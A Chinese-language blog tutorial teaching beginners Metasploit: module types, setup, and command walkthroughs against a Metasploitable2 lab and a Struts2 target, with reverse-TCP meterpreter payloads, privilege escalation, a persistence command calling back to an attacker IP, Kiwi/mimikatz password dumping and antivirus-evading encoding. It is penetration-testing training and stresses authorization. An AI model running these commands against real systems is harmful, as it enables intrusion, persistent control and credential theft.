先搞懂Metasploit的核心逻辑:别做“按钮选手”
很多人用Metasploit只知道“search→use→set→run”,但没搞懂背后的模块逻辑——这会导致遇到问题就卡壳。Metasploit的核心是“模块+参数+ payload”的组合:
– Exploits(漏洞利用模块):针对具体漏洞的攻击程序,比如vsftpd 2.3.4的后门漏洞模块;
– Payloads(攻击载荷):漏洞利用成功后执行的代码,比如获取shell的meterpreter;
– Auxiliary(辅助模块):不直接攻击,用于扫描、枚举、嗅探(比如扫描目标开放端口);
– Encoders(编码器):给payload“穿马甲”,绕过杀毒软件的特征检测;
– Nops(空指令):调整payload长度,避免攻击时程序崩溃。

用表格帮你快速记牢:
模块类型 | 作用 | 新手高频使用场景 |
---|---|---|
Exploits | 打穿漏洞的“子弹” | 靶机漏洞利用 |
Payloads | 拿权限的“手” | 获取meterpreter shell |
Auxiliary | 侦察的“望远镜” | 扫描目标开放端口 |
Encoders | 躲杀毒的“隐身衣” | 攻击Windows目标时用 |
Nops | 调长度的“垫片” | payload报错时用 |
记住:模块是“方法”,payload是“目的”——比如你要用Exploits模块打穿漏洞,再用Payloads模块拿到shell。
从安装到初始配置:踩稳第一步
Metasploit的安装分两种情况:
– Kali Linux用户:自带Metasploit(版本6.x),直接用;
– Windows/macOS用户:去Rapid7官网下载安装包(选“Community Edition”免费版)。
关键配置:初始化数据库
Metasploit依赖PostgreSQL数据库存储模块信息,不初始化数据库,search功能会失效!
打开终端(Kali/Windows都一样),执行:
msfdb init # 初始化数据库
msfconsole # 启动Metasploit控制台
启动后看界面顶部——如果显示“PostgreSQL connected”,说明数据库连好了;如果没显示,重启msfconsole再试(Windows用户可能需要以管理员身份运行)。
实战场景1:靶机漏洞探测与利用(最适合新手练手)
找个Metasploitable2靶机(专门给新手练手的 vulnerable 系统),步骤如下:
-
第一步:侦察目标
用Auxiliary模块扫描靶机开放端口:msfconsole use auxiliary/scanner/portscan/tcp # 选TCP端口扫描模块 set RHOSTS 192.168.1.10 # 靶机IP,替换成你自己的 set PORTS 21,22,80 # 扫描常用端口(FTP、SSH、Web) run
结果会显示靶机开放了21端口(FTP)——接下来针对FTP找漏洞。
-
第二步:找对应的Exploits模块
搜索vsftpd(靶机的FTP服务)的漏洞:search vsftpd # 搜索vsftpd相关模块
会出来“exploit/unix/ftp/vsftpd_234_backdoor”(vsftpd 2.3.4的后门漏洞)——这是Metasploitable2的经典漏洞。
-
第三步:配置模块并攻击
use exploit/unix/ftp/vsftpd_234_backdoor # 加载模块 set RHOSTS 192.168.1.10 # 靶机IP set LHOST 192.168.1.20 # 你的攻击机IP(Kali/Windows的IP) run # 发起攻击
如果成功,会拿到一个shell——输入
whoami
,会显示“root”(靶机的最高权限)!
实战场景2:Web应用漏洞的Metasploit玩法
Web应用是渗透测试的重灾区,Metasploit也能搞定——比如Apache Struts2的远程代码执行漏洞(CVE-2021-31805):
-
搜索模块:
search struts2 CVE-2021-31805 # 精准搜索对应CVE的模块
找到“exploit/multi/http/struts2_rest_xstream”模块。
-
配置并攻击:
use exploit/multi/http/struts2_rest_xstream set RHOSTS 192.168.1.30 # Web应用的IP set TARGETURI /struts2-rest-showcase/ # 漏洞路径(根据目标调整) set PAYLOAD java/meterpreter/reverse_tcp # 用meterpreter payload(更灵活) set LHOST 192.168.1.20 # 攻击机IP run
成功的话,会拿到meterpreter shell——这比普通shell强10倍:可以提权、截屏、偷文件,甚至控制摄像头(别乱试!)。
实战场景3:后渗透阶段的权限维持
很多新手以为“拿到shell就结束了”——错!后渗透才是渗透测试的关键(模拟黑客长期控制目标)。用Metasploit的meterpreter来做:
-
提权:从普通用户到管理员
拿到shell后,先看自己的权限:getuid # 显示当前用户(比如“user”) getsystem # 尝试提权到system(Windows)或root(Linux)
如果成功,
getuid
会显示“NT AUTHORITYSYSTEM”(Windows最高权限)。 -
持久化:让目标重启后还能控制
用persistence
模块做持久化(以Windows为例):run persistence -X -i 5 -p 4444 -r 192.168.1.20 # 配置持久化
参数说明:
-X
:开机自动运行;-i 5
:每5秒连一次攻击机;-p 4444
:连接的端口;-
-r
:攻击机IP。 -
偷密码:用Kiwi模块(mimikatz)
meterpreter内置Kiwi(原mimikatz,偷密码的神器):load kiwi # 加载Kiwi模块 creds_all # 获取所有保存的密码(包括浏览器、WiFi、系统账户)
避坑指南:Metasploit使用的常见误区
-
误区1:用默认配置连公网
很多人直接用Metasploit攻击公网IP——这会被溯源!公网测试必须用VPN或代理,且要授权(不然违法)。 -
误区2:模块参数填错(比如RHOSTS和LHOST搞反)
RHOSTS是目标IP,LHOST是你的IP——填反了肯定攻击失败!记不住就想:“R=Remote(远程目标),L=Local(本地攻击机)”。 -
误区3:不更新模块
Metasploit的模块库每周都更新——用msfupdate
命令更新(Kali用户要加sudo
),不然找不到新漏洞的模块(比如2025年的新CVE)。 -
误区4:依赖默认payload
默认payload容易被杀毒软件拦截——试试用编码器加壳:set ENCODER encoder/x86/shikata_ga_nai # 用shikata_ga_nai编码器
最后想说:Metasploit是工具,不是“万能钥匙”
Metasploit很强,但它的效果取决于你对漏洞的理解——比如你得先知道“vsftpd 2.3.4有后门”,才能找到对应的模块。所以新手别光练工具,要补漏洞原理(比如SQL注入、XSS、RCE的底层逻辑)。
另外,合法合规是底线:渗透测试必须有甲方的书面授权,不然哪怕是练手,也可能触犯《网络安全法》。
是不是觉得比看视频教程更实在?赶紧打开Metasploitable2靶机,按上面的步骤试一遍——遇到问题评论区问我,我帮你排坑~
原创文章,作者:,如若转载,请注明出处:https://zube.cn/archives/243